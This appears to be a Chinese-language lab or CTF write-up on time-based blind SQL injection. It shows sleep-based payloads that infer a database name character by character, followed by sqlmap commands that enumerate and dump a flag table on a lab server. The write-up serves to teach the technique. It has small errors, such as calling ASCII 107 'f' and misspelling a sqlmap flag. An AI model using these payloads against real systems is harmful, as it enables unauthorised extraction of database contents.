原理:在没有得到任何回显的情况下,只能通过延迟页面的跳转来进行数据库的核对
第一题:
我们看到界面,首先在url栏进行GET传参,但是没有任何回显,界面没有变化
" and 1=2 %23
然后尝试延时注入,重新输入代码
" and sleep(5) %23
所以判定我们输入的sql代码得到了执行
于是,我们输入代码,来查询数据库的长度
依次修改代码中的9依次递增,发现在代码是
and if(length(database())>12,sleep(5),1) #
的时候,界面没有任何延迟,于是判定数据库的长度是12个字节长
接着,我们利用ascii()的函数去找出数据库的第一个字母的ascii码值
and if(ascii(substr(database(),1,1))>90,sleep(5),1) #
改90的值,依次递增,最终得到代码
and if(ascii(substr(database(),1,1))>107,sleep(5),1) #
的时候是没有任何延迟的,所以判定它的首字母的ascii码值是107.找出ascii码表对应的首字母是f
and if(ascii(substr(database(),2,1))>97,sleep(5),1) #
一一和ascii码值对应,最终得到数据库名字
kanwolongxia
得到数据库名后,直接用sqlmap跑出表名
python sqlmap.py -u http://59.63.200.79:8815/Pass-13/index.php?id=1 -D kanwolongxia --tabales
再跑列名
python sqlmap.py -u http://59.63.200.79:8815/Pass-13/index.php?id=1 -D kanwolongxia -T loflag --columns
最终直接抛出数据
python sqlmap.py -u http://59.63.200.79:8815/Pass-13/index.php?id=1 -D kanwolongxia -T loflag -C flaglo --dump